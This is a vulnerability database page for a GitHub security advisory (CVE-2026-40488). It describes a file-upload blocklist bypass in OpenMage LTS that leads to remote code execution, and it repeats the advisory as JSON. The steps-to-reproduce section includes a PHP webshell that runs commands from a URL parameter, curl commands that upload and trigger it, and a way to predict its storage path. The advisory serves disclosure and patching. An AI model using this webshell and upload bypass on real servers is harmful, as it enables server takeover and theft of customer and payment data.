GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-3J5Q-7Q7H-2HHV

Vulnerability from github – Published: 2026-04-21 18:53 – Updated: 2026-04-27 16:31
VLAI
Summary
OpenMage LTS: Customer File Upload Extension Blocklist Bypass → Remote Code Execution
Details

The product custom option file upload in OpenMage LTS uses an incomplete blocklist (forbidden_extensions = php,exe) to prevent dangerous file uploads. This blocklist can be trivially bypassed by using alternative PHP-executable extensions such as .phtml, .phar, .php3, .php4, .php5, .php7, and .pht. Files are stored in the publicly accessible media/custom_options/quote/ directory, which lacks server-side execution restrictions for some configurations, enabling Remote Code Execution if this directory is not explicitly denied script execution.

Affected Version

  • Project: OpenMage/magento-lts
  • Vulnerable File: https://github.com/OpenMage/magento-lts/blob/main/app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php
  • Vulnerable Lines: 230-237 (_validateUploadedFile())
  • Configuration: app/code/core/Mage/Catalog/etc/config.xml:824

Root Cause

The file upload handler uses Zend_File_Transfer_Adapter_Http directly with ExcludeExtension validator, referencing only:

<!-- Catalog/etc/config.xml:824 -->
<forbidden_extensions>php,exe</forbidden_extensions>

This misses the comprehensive protected_extensions blocklist defined elsewhere:

<!-- Core/etc/config.xml:449-478 -->
php, php3, php4, php5, php7, htaccess, jsp, pl, py, asp, sh, cgi, 
htm, html, pht, phtml, shtml

Vulnerable Code

// app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:230-237
$_allowed = $this->_parseExtensionsString($option->getFileExtension());
if ($_allowed !== null) {
    $upload->addValidator('Extension', false, $_allowed);
} else {
    $_forbidden = $this->_parseExtensionsString($this->getConfigData('forbidden_extensions'));
    if ($_forbidden !== null) {
        $upload->addValidator('ExcludeExtension', false, $_forbidden);  // Only blocks php,exe!
    }
}

Steps to Reproduce

1. Environment Setup

Target: OpenMage LTS with Apache+mod_php or Apache+PHP-FPM (with .phtml handler)

2. Exploitation

# Upload .phtml (bypasses blocklist)
curl -X POST "https://target.com/vulnerable_upload.php" \
  -F "file=@shell.phtml;filename=shell.phtml"

Result: image

3. Code Execution

OpenMage derives the uploaded file's storage path deterministically from two values the attacker already controls:

SubdirectorygetDispretionPath($filename) takes the first two characters of the uploaded filename and uses them as nested directory names:

filename = "shell.phtml"  →  s/ h/  →  media/custom_options/quote/s/h/

Filenamemd5(file_get_contents($tmp_name)) is computed over the raw bytes of the uploaded payload (File.php:245):

// app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:245
$fileHash = md5(file_get_contents($fileInfo['tmp_name']));
$filePath  = $dispersion . DS . $fileHash . '.' . $extension;

Because the attacker writes the webshell themselves, both the filename prefix and file contents are known before the upload request is sent. The full URL can be pre-computed:

SHELL_CONTENT='<?php echo exec("id"); system($_GET["cmd"]??"id"); ?>\n'
HASH=$(echo -n "$SHELL_CONTENT" | md5sum | cut -d' ' -f1)
PREFIX=$(echo "shell" | cut -c1-2 | sed 's/./&\//g' | tr -d '\n' | sed 's/\/$//') # → s/h

```bash
curl "https://target.com/media/custom_options/quote/d9/bb4d647f16d9e7edfe49216140de2879.phtml"

Result: RCE Confirmed

image

Affected Deployments

Configuration Status
Apache + mod_php (with php_flag engine 0) SAFE
Apache + PHP-FPM VULNERABLE
Nginx (reference hardened config) SAFE
Nginx (generic config with .phtml→FPM) VULNERABLE

Impact

  1. Remote Code Execution: Full server compromise through webshell upload
  2. Data Exfiltration: Access to database credentials, customer PII, payment data
  3. Lateral Movement: Pivot to internal infrastructure
  4. Supply Chain: Inject malicious code into served content
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 20.16.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "openmage/magento-lts"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "20.17.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40488"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-434"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-21T18:53:13Z",
    "nvd_published_at": "2026-04-20T17:16:36Z",
    "severity": "HIGH"
  },
  "details": "The product custom option file upload in OpenMage LTS uses an incomplete blocklist (`forbidden_extensions = php,exe`) to prevent dangerous file uploads. This blocklist can be trivially bypassed by using alternative PHP-executable extensions such as `.phtml`, `.phar`, `.php3`, `.php4`, `.php5`, `.php7`, and `.pht`. Files are stored in the publicly accessible `media/custom_options/quote/` directory, which lacks server-side execution restrictions for some configurations, enabling Remote Code Execution if this directory is not explicitly denied script execution.\n\n## Affected Version\n\n- **Project:** OpenMage/magento-lts\n- **Vulnerable File:** `https://github.com/OpenMage/magento-lts/blob/main/app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php`\n- **Vulnerable Lines:** 230-237 (`_validateUploadedFile()`)\n- **Configuration:** `app/code/core/Mage/Catalog/etc/config.xml:824`\n\n## Root Cause\n\nThe file upload handler uses `Zend_File_Transfer_Adapter_Http` directly with `ExcludeExtension` validator, referencing only:\n\n```xml\n\u003c!-- Catalog/etc/config.xml:824 --\u003e\n\u003cforbidden_extensions\u003ephp,exe\u003c/forbidden_extensions\u003e\n```\n\nThis misses the comprehensive `protected_extensions` blocklist defined elsewhere:\n\n```xml\n\u003c!-- Core/etc/config.xml:449-478 --\u003e\nphp, php3, php4, php5, php7, htaccess, jsp, pl, py, asp, sh, cgi, \nhtm, html, pht, phtml, shtml\n```\n\n## Vulnerable Code\n\n```php\n// app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:230-237\n$_allowed = $this-\u003e_parseExtensionsString($option-\u003egetFileExtension());\nif ($_allowed !== null) {\n    $upload-\u003eaddValidator(\u0027Extension\u0027, false, $_allowed);\n} else {\n    $_forbidden = $this-\u003e_parseExtensionsString($this-\u003egetConfigData(\u0027forbidden_extensions\u0027));\n    if ($_forbidden !== null) {\n        $upload-\u003eaddValidator(\u0027ExcludeExtension\u0027, false, $_forbidden);  // Only blocks php,exe!\n    }\n}\n```\n\n## Steps to Reproduce\n\n### 1. Environment Setup\n\nTarget: OpenMage LTS with Apache+mod_php or Apache+PHP-FPM (with .phtml handler)\n\n### 2. Exploitation\n\n\n```bash\n# Upload .phtml (bypasses blocklist)\ncurl -X POST \"https://target.com/vulnerable_upload.php\" \\\n  -F \"file=@shell.phtml;filename=shell.phtml\"\n```\n\n**Result:** \n\u003cimg width=\"1563\" height=\"733\" alt=\"image\" src=\"https://github.com/user-attachments/assets/c56d43e8-364a-4402-8198-9f49a50fd691\" /\u003e\n\n### 3. Code Execution\n\nOpenMage derives the uploaded file\u0027s storage path deterministically from two values the attacker\nalready controls:\n\n**Subdirectory** \u2014 `getDispretionPath($filename)` takes the **first two characters** of the\nuploaded filename and uses them as nested directory names:\n\n```\nfilename = \"shell.phtml\"  \u2192  s/ h/  \u2192  media/custom_options/quote/s/h/\n```\n\n**Filename** \u2014 `md5(file_get_contents($tmp_name))` is computed over the **raw bytes of the\nuploaded payload** (`File.php:245`):\n\n```php\n// app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:245\n$fileHash = md5(file_get_contents($fileInfo[\u0027tmp_name\u0027]));\n$filePath  = $dispersion . DS . $fileHash . \u0027.\u0027 . $extension;\n```\n\nBecause the attacker writes the webshell themselves, both the filename prefix and file contents are\nknown **before the upload request is sent**. The full URL can be pre-computed:\n\n```bash\nSHELL_CONTENT=\u0027\u003c?php echo exec(\"id\"); system($_GET[\"cmd\"]??\"id\"); ?\u003e\\n\u0027\nHASH=$(echo -n \"$SHELL_CONTENT\" | md5sum | cut -d\u0027 \u0027 -f1)\nPREFIX=$(echo \"shell\" | cut -c1-2 | sed \u0027s/./\u0026\\//g\u0027 | tr -d \u0027\\n\u0027 | sed \u0027s/\\/$//\u0027) # \u2192 s/h\n\n```bash\ncurl \"https://target.com/media/custom_options/quote/d9/bb4d647f16d9e7edfe49216140de2879.phtml\"\n```\n\n**Result:** RCE Confirmed\n\n\u003cimg width=\"1559\" height=\"827\" alt=\"image\" src=\"https://github.com/user-attachments/assets/12990f06-8750-48e6-87c5-add18b9e7260\" /\u003e\n\n## Affected Deployments\n\n| Configuration | Status |\n|---------------|--------|\n| Apache + mod_php (with `php_flag engine 0`) | SAFE |\n| Apache + PHP-FPM | **VULNERABLE** |\n| Nginx (reference hardened config) | SAFE |\n| Nginx (generic config with .phtml\u2192FPM) | **VULNERABLE** |\n\n## Impact\n\n1. **Remote Code Execution:** Full server compromise through webshell upload\n2. **Data Exfiltration:** Access to database credentials, customer PII, payment data\n3. **Lateral Movement:** Pivot to internal infrastructure\n4. **Supply Chain:** Inject malicious code into served content",
  "id": "GHSA-3j5q-7q7h-2hhv",
  "modified": "2026-04-27T16:31:57Z",
  "published": "2026-04-21T18:53:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/OpenMage/magento-lts/security/advisories/GHSA-3j5q-7q7h-2hhv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40488"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/OpenMage/magento-lts"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenMage LTS: Customer File Upload Extension Blocklist Bypass \u2192 Remote Code Execution"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…